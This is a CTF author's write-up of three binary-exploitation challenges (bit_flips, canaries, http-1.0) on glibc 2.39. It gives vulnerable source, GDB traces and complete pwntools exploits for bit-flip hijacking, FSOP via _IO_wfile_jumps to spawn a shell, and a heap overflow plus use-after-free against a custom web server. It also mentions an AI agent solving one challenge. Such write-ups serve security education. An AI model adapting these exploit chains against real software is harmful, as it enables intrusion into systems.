Important
I will only post writeups for blooded challenges. I will release the others once someone bloods them.

Summary

This post covers three of the pwn challenges I authored for the Securinets "Darkest Hour" CTF 2026. Each one is a standalone challenge, but they share the same server environment (Ubuntu 24.04, glibc 2.39).


bit_flips

"can you do it in just 3 bit flips?"

The binary gives you exactly 3 arbitrary bit flips anywhere in memory. There's a dead function that reads and executes commands from an open file. The goal is to hijack control flow into it, then redirect the file descriptor it reads from to stdin so you control which commands run.

Note
There is an unintended solution: use a bit flip to set the counter to a very large (or I guess mathematically 'very small') negative number so you get infinite flips. Afaik however no one was able to gain a shell using this technique (at least not during the darkest hour ctf).

Analysis

checksec
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:    Yes

Full protections. Full RELRO rules out GOT overwrite. PIE means no fixed addresses.

Source Overview

c
uint32_t lock = 0xffffffff;
FILE* f;

void setup() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    f = fopen("./commands", "r");
}

void bit_flip() {
    if (lock != 0xffffffff) {
        exit(-1);
    }
    unsigned long long address = 0x0;
    int bit = 0x0;
    printf("> ");
    scanf("%llx", &address);
    scanf("%d", &bit);
    if (bit > 7 || bit < 0) {
        puts("Go back to school");
        return;
    }
    char byte = *(char*)address;
    byte = (1 << bit) ^ byte;
    *(char*)address = byte;
}

void vuln() {
    unsigned long long address = 0x0;
    printf("&main = %p\n", &main);
    printf("&system = %p\n", &system);
    printf("&address = %p\n", &address);
    printf("sbrk(NULL) = %p\n", sbrk(0));

    for (int i = 0; i < 3; i++) {
        bit_flip();
    }
    lock = 0x0;
}

int main() {
    setup();
    puts("I'm feeling super generous today");
    vuln();
    return 0;
}

void cmd() {
    char buf[24];
    while (fgets(buf, sizeof(buf), f)) {
        buf[strcspn(buf, "\n")] = '\0';
        if (buf[0] == '\0') continue;
        int status = system(buf);
        if (status == -1) { perror("system"); exit(-1); }
    }
}

The binary opens a file called commands and stores it in the global FILE* f. The cmd() function reads lines from f and passes each one to system(). It is never called.

vuln() prints four addresses:

Code
I'm feeling super generous today
&main = 0x55ac78ca8405
&system = 0x7f2364900b00
&address = 0x7ffe48effa90
sbrk(NULL) = 0x55ac7cda8000

Then it gives three bit flips through bit_flip(), which:

  • requires lock == 0xffffffff (enforced once per call, lock resets to 0 after the loop)
  • accepts any 64-bit address and a bit index 0-7
  • reads one byte from that address, XORs the chosen bit, writes it back

Finding the Bugs

Dead Code: cmd()

cmd() is the pseudo-win function. It reads line by line from f (the opened commands file) and shells out each line. A useful primitive, but only reachable if we redirect control flow to it.

bit_flip() is Unconstrained

There is no bounds check on the address. We can flip any bit anywhere in the process memory: stack, heap, libc, or the binary itself.

The commands File Uses fd 3

When setup() calls fopen("./commands", "r"), the OS assigns it the next available file descriptor. Since stdin (0), stdout (1), and stderr (2) are already open, commands gets fd 3.

The _fileno field in glibc's FILE struct sits at offset 0x70. If we change f->_fileno from 3 to 0, then cmd()'s fgets(buf, sizeof(buf), f) reads from stdin instead, giving us full control over what system() executes.

Exploitation

Strategy

3 flips. 3 goals:

  1. Flip 1: Redirect vuln()'s saved return address to land inside cmd()
  2. Flip 2: Flip bit 0 of f->_fileno (3 → 2)
  3. Flip 3: Flip bit 1 of f->_fileno (2 → 0)

After those three flips, when vuln() returns it executes cmd(), which reads commands from stdin.

Step 1: Locating the Saved Return Address

vuln() leaks &address, a local unsigned long long on its own stack frame. From GDB we can inspect the frame:

Code
pwndbg> info frame
Stack level 0, frame at 0x7ffe48effab0:
 rip = 0x... in vuln; saved rip = 0x55ac78ca8422
 called by frame at 0x7ffe48effab8

pwndbg> x/4gx &address
0x7ffe48effa90: 0x0000000000000000      0x7da3c9f1abe40820   <- canary
0x7ffe48effaa0: 0x00007ffe48effab0      0x000055ac78ca8422   <- saved rip

saved_rip is at &address + 0x18. Its value is main + 0x1d (the instruction immediately after the call vuln in main), PIE offset 0x1422.

Step 2: Finding the 1-Bit Distance to cmd()

Opening the stripped binary in IDA or inspecting the disassembly:

x86asm
; main() (PIE offset 0x1405):
1405:   55                  push   rbp
1406:   48 89 e5            mov    rbp, rsp
...
141d:   e8 0d ff ff ff      call   132f    ; call vuln()
1422:   b8 00 00 00 00      mov    eax, 0  ; <-- saved rip points here (PIE 0x1422)
1427:   5d                  pop    rbp
1428:   c3                  ret

; cmd() (PIE offset 0x1429):
1429:   55                  push   rbp
142a:   48 89 e5            mov    rbp, rsp   ; <-- we land here after flip
142d:   48 83 ec 30         sub    rsp, 0x30
...
Code
saved_rip PIE offset:  0x1422  (binary: ...0100010)
flip bit 3 (XOR 0x08): 0x142a  (binary: ...0101010)
cmd() entry:           0x142a  ✓

They differ by exactly 1 bit. One flip redirects vuln()'s return directly into the second instruction of cmd(). Skipping push rbp is fine since the stack is already in the right state from main's call frame setup.

Step 3: Locating f->_fileno

The FILE* f is stored in glibc's heap. vuln() leaks sbrk(NULL), which is the current program break (top of the heap). In GDB:

Code
pwndbg> p f
$1 = 0x55ac7cda7f240       <- address of the FILE struct

pwndbg> p/x (uint64_t)sbrk(0) - (uint64_t)f
$2 = 0x20d60               <- fixed offset from heap brk to the FILE struct

pwndbg> p/d f->_fileno
$3 = 3                     <- fd 3 = the "commands" file

pwndbg> x/b (char*)f + 0x70
0x...: 0x03               <- _fileno byte = 3 (00000011b)

So f = sbrk(NULL) - 0x20d60 and f->_fileno is at f + 0x70.

To change fd 3 (binary 0b11) to fd 0 (binary 0b00):

Code
flip bit 0: 0b11 -> 0b10  (3 -> 2)
flip bit 1: 0b10 -> 0b00  (2 -> 0)

Two flips consumed. Combined with the control flow redirect, that's exactly 3.

Step 4: Shell

After the three flips, vuln() returns into cmd(). cmd() calls fgets(buf, 24, f), but f->_fileno is now 0, so it reads from stdin. Every line we send is passed straight to system().

Exploit Code

python
from pwn import *

context.binary = elf = ELF('./main')

if args.REMOTE:
    io = remote('localhost', 1000)
else:
    io = process()

io.recvuntil(b'&address = ')
saved_rip = int(io.recvline().strip(), 16) + 0x18
io.recvuntil(b'sbrk(NULL) = ')
flag_file = int(io.recvline().strip(), 16) - 0x20d60

log.success(f'saved_rip @ {saved_rip:#x}')
log.success(f'f (FILE*)  @ {flag_file:#x}')

def bit_flip(address, bit):
    io.recvuntil(b'> ')
    io.sendline(hex(address).encode())
    io.sendline(str(bit).encode())

# Flip 1: redirect saved_rip to cmd() (bit 3: 0x1422 -> 0x142a)
bit_flip(saved_rip, 3)

# Flip 2+3: change f->_fileno from 3 (0b11) to 0 (0b00)
bit_flip(flag_file + 0x70, 0)
bit_flip(flag_file + 0x70, 1)

io.interactive()

Result

Code
$ python3 exploit.py
[+] saved_rip @ 0x7ffc4eaec8a8
[+] f (FILE*)  @ 0x56234b3f12a0
[*] Switching to interactive mode
cat flag
Securinets{3_b1t_fl1ps_15_4ll_y0u_n33d}

Flag: Securinets{3_b1t_fl1ps_15_4ll_y0u_n33d}


canaries

It's a custom C program with a home-rolled canary mechanism and a GDB-inspired interface (arbitrary read + constrained write). The trick is that overflowing buf with gets() clobbers the custom canary, fires exit(0), and we ride that exit path straight into a shell via FSOP.

Note
There are multiple ways to trigger FSOP on exit(). The _IO_2_1_stderr_->_chain method used here is just one approach. You can also overwrite _IO_list_all directly, or target any other FILE already present in the list. The constrained write (any libc address below canary) gives you plenty of options.

Analysis

checksec
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:    Yes

Full protections. PIE + Full RELRO means no GOT overwrite. There's a custom in-program canary on top of the compiler canary.

The Setup

c
char canary_global[24];

int generate_canary(char *canary) {
    FILE* f = fopen("/dev/urandom", "rb");
    fread(canary, 1, sizeof(canary), f);
    strncpy(canary_global, canary, sizeof(canary));
    printf("> p &canary\n0x%016lx\n\n", (uint64_t)canary);
    ...
}

int main() {
    char canary[24];
    char buf[8];
    setup();
    prompt();
    generate_canary(canary);
    ...
}

generate_canary fills canary[0..23] (actually it doesn't xD but let's not mention how dumb I was writing that piece of code) with random bytes and mirrors them into canary_global. The binary then leaks the stack address of canary[]:

Code
> p &canary
0x00007ffd9a3c4260

Primitives

After generate_canary, the binary gives us GDB-like operations:

c
// Arbitrary read
printf("> x/gx ");
scanf("%lx", &address);
printf("0x%016lx: 0x%016lx\n\n", address, *(uint64_t*)address);

// Constrained arbitrary write
printf("> set {uint64_t}");
scanf("%lx = %lx", &address, &value);
if (address > (uint64_t)canary) {
    puts("*** not allowed ***");
    exit(0);
}
*(uint64_t*)address = value;
  • Arbitrary read: any address
  • Constrained write: only to addresses ≤ canary (stack addresses are blocked, but heap, libc, and BSS are all fair game)

From the leaked canary address we can compute:

  • buf_addr = canary_addr - 0x8
  • rbp_addr = canary_addr + 0x20 (compiler aligns canary[24] to 0x20 bytes, 8 bytes pad)
  • ret_addr_loc = canary_addr + 0x28

Leaking libc

We use the arbitrary read to dereference the return address on the stack:

Code
pwndbg> x/gx 0x7ffd9a3c4288
0x7ffd9a3c4288: 0x00007f9c3a827675

That's __libc_start_call_main + N. Subtracting the offset gives us libc base.

Code
pwndbg> p/x 0x7f9c3a827675 - 0x27675
$1 = 0x7f9c3a800000  -> libc base

The Vulnerability

After the I/O primitives are finished, we reach the following:

c
puts("{ overflow me }");
gets(buf);   // unbounded, smashes canary[] on the stack

for (int i = 0; i < sizeof(canary); i++) {
    if (canary[i] != canary_global[i]) {
        puts("*** stack smashing detected ***");
        exit(0);
    }
}

gets(buf) with a long payload overwrites canary[] on the stack. The comparison fires and exit(0) is called, which is exactly what we want.

Exploitation

Strategy

We have one write and it can't touch the stack. There's no way to save the canary: gets() will clobber it and exit(0) will run. But exit() calls _IO_flush_all_lockp, which walks the _IO_list_all linked list and calls _IO_OVERFLOW on each FILE with pending output.

If we insert a fake _IO_FILE_plus into that list, we control what gets called. This is classic FSOP (File Stream Oriented Programming).

The constrained write lets us write to any libc address. _IO_2_1_stderr_->_chain (at stderr + 0x68) is a pointer to the next FILE in the I/O list. Writing buf_addr there inserts our fake FILE into the chain.

The overflow from gets(buf) lets us plant a fully crafted fake FILE structure starting at buf_addr.

FSOP via _IO_wfile_jumps

glibc 2.24+ validates vtable pointers to be within __libc_IO_vtables. _IO_wfile_jumps is a valid vtable inside that section. Using it as the FILE's vtable:

When _IO_flush_all_lockp encounters our fake FILE:

  1. Checks fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base. This is satisfied with our values
  2. Calls _IO_OVERFLOW(fp, EOF)_IO_wfile_overflow
  3. _IO_wfile_overflow calls _IO_wdoallocbuf(fp)
  4. _IO_wdoallocbuf sees fp->_wide_data->_IO_buf_base == NULL → calls fp->_wide_data->_wide_vtable->__doallocate(fp)
  5. We set wide_vtable[0x68/8] = system, so this calls system(fp)
  6. fp->_flags = "sh "system("sh ")

The fake FILE layout in memory (starting at buf_addr):

Code
pwndbg> x/40gx buf_addr
buf_addr+0x00: 0x0000000020687320    # _flags = "sh \0"
buf_addr+0x08: 0x0000000000000000    # _IO_read_ptr..
...
buf_addr+0x20: 0x0000000000000000    # _IO_write_base = 0
buf_addr+0x28: 0x00007ffd9a3c4280    # _IO_write_ptr  = rbp_addr  (> write_base)
...
buf_addr+0x60: 0x00007ffd9a3c4270    # _lock  (= buf_addr + 0x10, self-ref)
...
buf_addr+0x88: 0x00007f9c3aa27b30    # _wide_data  -> fake_wide_data  (buf_addr + 0xe0)
...
buf_addr+0xa8: 0xffffffff            # _mode = -1  (< 0 -> wide path)
buf_addr+0xb8: 0x00007f9c3aa08228    # vtable = _IO_wfile_jumps
buf_addr+0xe0:                       # _wide_data struct (all zero)
buf_addr+0x1c8: 0x00007ffd9a3c4388  # wide_data->_wide_vtable -> fake_wide_vtable
buf_addr+0x230: 0x00007f9c3a853b00  # fake_wide_vtable[0x68/8] = system

When exit(0) is called by the "stack smashing detected" path:

Code
pwndbg> bt
#0  system ("sh ")
#1  _IO_wdoallocbuf (fp=0x7ffd9a3c4258)
#2  _IO_wfile_overflow
#3  _IO_flush_all_lockp
#4  __run_exit_handlers
#5  exit (status=0)
#6  main ()

Exploit Code

python
from pwn import*

context.binary = elf = ELF('./main')
libc = ELF('./libc.so.6')

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript="b *main+153\nc")
    elif args.REMOTE:
        return remote('localhost', 3002)
    else:
        return process([elf.path])

io = start()

# Binary prints address of canary[] in main's frame
io.recvuntil(b'0x')
canary_addr  = int(io.recvline().strip(), 16)
buf_addr     = canary_addr - 0x8
rbp_addr     = canary_addr + 0x20
ret_addr_loc = canary_addr + 0x28

# Arbitrary read → leak return address → libc base
io.recvuntil(b'x/gx')
io.sendline(f'{ret_addr_loc:x}'.encode())
io.recvuntil(b': 0x')
ret_addr     = int(io.recvline().strip(), 16)
libc.address = ret_addr - 0x27675   # offset within __libc_start_call_main

log.success(f'canary @ {canary_addr:#x}')
log.success(f'libc   @ {libc.address:#x}')

fake_file_addr        = buf_addr
fake_wide_data_addr   = fake_file_addr + 0xe0
fake_wide_vtable_addr = fake_file_addr + 0x1c8
lock_addr             = fake_file_addr + 0x10

# Arbitrary write: stderr->_chain = fake_file_addr
# libc addr < canary addr → passes the guard
stderr_chain = libc.sym['_IO_2_1_stderr_'] + 0x68

io.recvuntil(b'set {uint64_t}')
io.sendline(f'{stderr_chain:#x} = {fake_file_addr:#x}'.encode())
io.recvuntil(b'overflow')

# Fake _IO_FILE_plus: FSOP via _IO_wfile_jumps
# exit(0) -> _IO_flush_all_lockp -> _IO_wfile_overflow ->
#   _IO_wdoallocbuf -> wide_vtable[0x68/8](fp) -> system("sh ")
payload  = p32(0x20687320) + p32(0)        # _flags = "sh \0"
payload += p64(0) * 3                       # _IO_read_ptr/_end/_base
payload += p64(0)                           # _IO_write_base
payload += p64(rbp_addr)                    # _IO_write_ptr > write_base
payload += p64(0) * 5
payload += p64(0) * 2
payload += p64(0)
payload += p32(0) + p32(0)
payload += p64(0)
payload += p64(0)                           # _chain
payload += p64(lock_addr)                   # _lock
payload += p64(0) * 2
payload += p64(fake_wide_data_addr)         # _wide_data
payload += p64(0) * 3
payload += p32(0xFFFFFFFF)                  # _mode < 0 -> wide path
payload += b'\x00' * 20
payload += p64(libc.sym['_IO_wfile_jumps']) # vtable (valid, passes check)
payload += b'\x00' * 0xe0                   # wide_data fields
payload += p64(fake_wide_vtable_addr)       # wide_data->_wide_vtable
payload += b'\x00' * 0x68
payload += p64(libc.sym['system'])          # wide_vtable[0x68/8]

io.sendline(payload)
io.interactive()

Result

Code
$ python3 exploit.py
[+] canary @ 0x7ffd9a3c4260
[+] libc   @ 0x7f9c3a800000
[*] Switching to interactive mode
*** stack smashing detected ***
$ cat flag
Securinets{r1p_0v3rwr173_15_n07_4lw4y5_7h3_4n5w3r_s0m3t1m35_w3_f50p_%!!?!@_@==}

Flag: Securinets{r1p_0v3rwr173_15_n07_4lw4y5_7h3_4n5w3r_s0m3t1m35_w3_f50p_%!!?!@_@==}


http-1.0

Note
This challenge was solved by Claude Opus 4.6 running autonomously for around four and a half hours, which genuinely surprised me as I did not expect an AI agent to get there. Looking at the solve, it turns out I had forgotten to patch a vulnerability I introduced during development, which made the challenge significantly easier than intended. The writeup below covers that unpatched method. I plan to release a proper revenge challenge in a future CTF with the intended difficulty restored.

It's a custom HTTP/1.0 web server with user authentication, where the goal is to escalate privileges to admin through heap exploitation on glibc 2.39.

Analysis

checksec
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:    Yes

64-bit PIE ELF, stripped, dynamically linked, Ubuntu 24.04 (glibc 2.39). Since this is a web server that only processes HTTP requests, stack canary and NX are irrelevant. Everything happens on the heap.

Opening it in IDA, we see the following in main():

c
int main() {
    setup();

    // Initialize users
    add_user("admin", "[REDACTED]", "admin");
    add_user("guest", "guest", "user");

    // Create web server
    WebServer *server = webserver_create(5000);
    webserver_set_static_folder(server, "./app");

    // Register routes
    webserver_add_route(server, "GET", "/", route_index);
    webserver_add_route(server, "GET", "/api/me", route_api_me);
    webserver_add_route(server, "GET", "/login", route_login_get);
    webserver_add_route(server, "POST", "/login", route_login_post);
    webserver_add_route(server, "GET", "/register", route_register_get);
    webserver_add_route(server, "POST", "/register", route_register_post);
    webserver_add_route(server, "POST", "/api/password", route_password_post);
    webserver_add_route(server, "POST", "/api/delete_account", route_delete_account);
    webserver_add_route(server, "GET", "/logout", route_logout);

    webserver_run(server);
    webserver_destroy(server);
    return 0;
}

An admin user is created at startup with a long random password that we can't know. There's also a guest account.

Data Structures

From add_user() we can recover the User struct:

c
typedef struct User {
    char username[50];
    char privilege[10];
    char password[50];
} __attribute__((packed)) User;

The disassembly confirms the offsets and allocation size:

x86asm
; add_user
1b97:   bf 6e 00 00 00          mov    edi, 0x6e          ; malloc(110) → chunk size 0x80
1bac:   be 32 00 00 00          mov    esi, 0x32          ; snprintf(user->username, 50, ...)
1be3:   49 8d 7c 24 32          lea    rdi, [r12+0x32]    ; user + 0x32 = privilege
1bc8:   49 8d 7c 24 3c          lea    rdi, [r12+0x3c]    ; user + 0x3c = password
Code
User struct (110 bytes, malloc(0x6e) → chunk 0x80):
  +0x00  username[50]
  +0x32  privilege[10]
  +0x3c  password[50]

From create_session():

c
typedef struct Session {
    char token[TOKEN_LENGTH + 1];   // 65 bytes
    struct User *user;              // 8 bytes
    time_t created_at;              // 8 bytes
} Session;
x86asm
; create_session
1f74:   bf 58 00 00 00          mov    edi, 0x58          ; malloc(88) → chunk size 0x60
Code
Session struct (88 bytes, malloc(0x58) → chunk 0x60):
  +0x00  token[64]
  +0x40  null terminator
  +0x48  user_ptr (8 bytes)
  +0x50  timestamp (8 bytes)

The Flag

The flag is returned in /api/me when strcmp(u->privilege, "admin") == 0:

c
void route_api_me(Request *req, Response *res) {
    User *u = get_user_from_session(session);

    if (u && strcmp(u->privilege, "admin") == 0) {
        snprintf(json, sizeof(json),
            "{\"username\": \"%s\", \"privilege\": \"admin\", \"time\": \"%s\", \"flag\": \"Securinets{REDACTED}\"}",
            u->username, time_str);
    }
}

Finding the Bugs

Heap Buffer Overflow in /api/password

The password change handler has a sscanf overflow:

c
void route_password_post(Request *req, Response *res) {
    User *u = get_user_from_session(session);
    if (req->body) {
        if (sscanf(req->body, "password=%65[^&]", u->password) > 0) {
            response_send_redirect(res, "/");
            return;
        }
    }
}

%65[^&] reads up to 65 characters into u->password which is only 50 bytes. With the null terminator, that's 66 bytes into a 50-byte field. This results in a 16-byte overflow past the end of the User struct, right into the next heap chunk's metadata (prev_size + size).

x86asm
2431:   48 8d 50 3c             lea    rdx, [rax+0x3c]    ; dest = user + 0x3c (password)
2435:   48 8d 35 e1 1c 00 00    lea    rsi, [rip+0x1ce1]  ; "password=%65[^&]"
243e:   e8 3d ec ff ff          call   __isoc23_sscanf

Use-After-Free in /api/delete_account

When a user is deleted, the session is NOT invalidated:

c
void route_delete_account(Request *req, Response *res) {
    User *u = get_user_from_session(session);
    delete_user_by_name(u->username);
    // session still holds a dangling pointer to the freed User!
    response_send_redirect_with_cookie(res, "/login", "session=; Max-Age=0");
}

void delete_user_by_name(const char *username) {
    for (int i = 0; i < MAX_USERS; i++) {
        if (users[i] != NULL && strcmp(users[i]->username, username) == 0) {
            free(users[i]);
            users[i] = NULL;
            break;
        }
    }
}

The session's user_ptr still points to the freed chunk. This gives us:

  • UAF read: GET /api/me reads freed memory (tcache fd pointers) through the username field
  • UAF write: POST /api/password writes to the freed chunk via sscanf at user_ptr + 0x3c

Exploitation

Strategy

We can't log in as admin because the password is unknown. Instead, we'll abuse the heap to fake admin privileges:

  1. Register a user patrick with password "admin"
  2. Use UAF to leak a heap address
  3. Overflow to corrupt a chunk size
  4. Get a Session struct allocated over a freed User-sized chunk
  5. UAF write to overwrite the session's user_ptr so the privilege check reads "admin" from patrick's password field

Heap Layout

We register four users: spongebob, patrick, squidward, mr_krabs. Since each registration only does malloc(0x6e) → 0x80 chunk, they get allocated contiguously:

Code
pwndbg> x/2gx 0x55d01d0108b0    # spongebob
0x55d01d0108b0: 0x0000000000000000      0x0000000000000081
pwndbg> x/2gx 0x55d01d010930    # patrick
0x55d01d010930: 0x0000000000000000      0x0000000000000081
pwndbg> x/2gx 0x55d01d0109b0    # squidward
0x55d01d0109b0: 0x0000000000000000      0x0000000000000081
pwndbg> x/2gx 0x55d01d010a30    # mr_krabs
0x55d01d010a30: 0x0000000000000000      0x0000000000000081

The patrick user has "admin" in its password field:

Code
pwndbg> x/s 0x55d01d010940
0x55d01d010940: "patrick"
pwndbg> x/s 0x55d01d010940+0x32
0x55d01d010972: "user"
pwndbg> x/s 0x55d01d010940+0x3c
0x55d01d01097c: "admin"

Step 1: Heap Leak via Safe-Linking Bypass

glibc 2.39 uses safe-linking in tcache: when a chunk is freed, the fd pointer stored is (chunk_addr >> 12) ^ next. When a chunk is the first entry in its bin, next = NULL, so fd = chunk_addr >> 12.

We delete spongebob and use its still-alive session to read the freed chunk's fd:

Code
pwndbg> x/4gx 0x55d01d0108b0
0x55d01d0108b0: 0x0000000000000000      0x0000000000000081
0x55d01d0108c0: 0x000000055d01d010      0x1a06e80d09196192
                ^                       ^
                safe-linked fd           tcache key

The fd value 0x55d01d010 gives us fd << 12 = 0x55d01d010000, a page-aligned heap address.

Step 2: Computing the Target Offset

The goal is to make a session's user_ptr point to patrick + 0x0a. If user_ptr = patrick + 0x0a, then user_ptr + 0x32 = patrick + 0x3c, which is exactly where "admin" (the password) lives.

Code
pwndbg> p/x 0x55d01d010940 + 0xa - (0x55d01d010 << 12)
$1 = 0x94a

The offset 0x94a is deterministic.

Step 3: Chunk Size Corruption

The overflow from squidward's password field overwrites mr_krabs's chunk header. We change mr_krabs's size from 0x81 to 0x61:

Before:

Code
pwndbg> x/2gx 0x55d01d010a30
0x55d01d010a30: 0x0000000000000000      0x0000000000000081

After overflow:

Code
pwndbg> x/2gx 0x55d01d010a30
0x55d01d010a30: 0x5858585858585858      0x0000000000000061

Now when mr_krabs is freed, it goes into tcache[0x60] instead of tcache[0x80]. The next malloc(0x58) (Session) reclaims it.

Step 4: UAF Write → Overwriting user_ptr

We register gary and login. Its Session reclaims mr_krabs's chunk:

Code
pwndbg> x/12gx 0x55d01d010a40
0x55d01d010a40: 0x4373483777415872      0x4370797170645663    <- token
...
0x55d01d010a88: 0x000055d01d010b40                            <- user_ptr

Now use mr_krabs's UAF cookie to call POST /api/password. The sscanf writes 4 bytes "AAAA" + 8 bytes "BBBBBBBB" + 6 bytes target_ptr starting at user_ptr + 0x3c (which is 0x55d01d010a40 + 0x3c):

Code
pwndbg> x/gx 0x55d01d010a88
0x55d01d010a88: 0x000055d01d01094a    <- session->user_ptr overwritten!

Step 5: Binary Cookie

The overflow corrupts the session token's null terminator. Now strcmp reads the token past 64 bytes, including the binary target_ptr. We use raw TCP sockets to send binary cookie data.

Exploit Code

python
from pwn import*
import socket, struct, re

HOST, PORT = 'localhost', 5000
OFFSET = 0x94a  # (fd << 12) + OFFSET = patrick_data + 0x0a

def http_raw(raw_req):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((HOST, PORT))
    s.sendall(raw_req)
    resp = b""
    while True:
        try:
            d = s.recv(4096)
            if not d: break
            resp += d
        except: break
    s.close()
    return resp

def http_req(method, path, headers=None, body=None):
    req = f"{method} {path} HTTP/1.0\r\nHost: {HOST}:{PORT}\r\n"
    if headers:
        for k, v in headers.items():
            req += f"{k}: {v}\r\n"
    if body is not None:
        bdata = body if isinstance(body, bytes) else body.encode()
        req += f"Content-Length: {len(bdata)}\r\n"
        req += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
        return http_raw(req.encode() + bdata)
    req += "\r\n"
    return http_raw(req.encode())

def get_cookie(resp):
    m = re.search(rb'Set-Cookie:\s*session=([^;\r\n]+)', resp)
    return m.group(1).decode() if m else None

def get_body(resp):
    idx = resp.find(b'\r\n\r\n')
    return resp[idx+4:] if idx >= 0 else b''

def extract_username(body):
    s = body.find(b'"username": "')
    if s < 0: return b''
    s += len(b'"username": "')
    e = body.find(b'", "privilege"', s)
    return body[s:e] if e >= 0 else b''

# Register all users
users = [("spongebob","sb"),("patrick","admin"),("squidward","sq"),("mr_krabs","mk")]
for name, pw in users:
    http_req("POST", "/register", body=f"username={name}&password={pw}")

# Login
cookies = {}
for name, pw in users:
    r = http_req("POST", "/login", body=f"username={name}&password={pw}")
    cookies[name] = get_cookie(r)

# Heap leak via UAF
http_req("POST", "/api/delete_account",
         headers={"Cookie": f"session={cookies['spongebob']}"})

b1 = get_body(http_req("GET", "/api/me",
              headers={"Cookie": f"session={cookies['spongebob']}"}))

fd = u64(extract_username(b1).ljust(8, b'\x00')[:8])
heap_page = fd << 12
target_ptr = heap_page + OFFSET
target_bytes = p64(target_ptr)[:6]
log.success("heap_page: " + hex(heap_page))
log.success("target_ptr: " + hex(target_ptr))

# Overflow squidward → corrupt mr_krabs chunk size to 0x61
http_req("POST", "/api/password",
         headers={"Cookie": f"session={cookies['squidward']}"},
         body=b'password=' + b'X'*60 + b'\x61')

# Delete mr_krabs → tcache[0x60]
http_req("POST", "/api/delete_account",
         headers={"Cookie": f"session={cookies['mr_krabs']}"})

# New session reclaims mr_krabs's chunk
http_req("POST", "/register", body="username=gary&password=gp")
r = http_req("POST", "/login", body="username=gary&password=gp")
cookie_X = get_cookie(r)

# UAF write → overwrite session user_ptr
poison = b'AAAA' + b'BBBBBBBB' + target_bytes
http_req("POST", "/api/password",
         headers={"Cookie": f"session={cookies['mr_krabs']}"},
         body=b'password=' + poison)

# Binary cookie → flag
raw_cookie = cookie_X[:60].encode() + b'AAAA' + b'BBBBBBBB' + target_bytes
req  = b"GET /api/me HTTP/1.0\r\n"
req += f"Host: {HOST}:{PORT}\r\n".encode()
req += b"Cookie: session=" + raw_cookie + b"\r\n\r\n"

resp = http_raw(req)
print(get_body(resp).decode(errors='replace'))

Result

Code
$ python3 exploit.py
[+] heap_page: 0x55d01d010000
[+] target_ptr: 0x55d01d01094a
{"username": "", "privilege": "admin", "time": "Sat Feb 14 06:19:20 2026",
 "flag": "Securinets{web_pwn_flag}"}

Flag: Securinets{web_pwn_flag}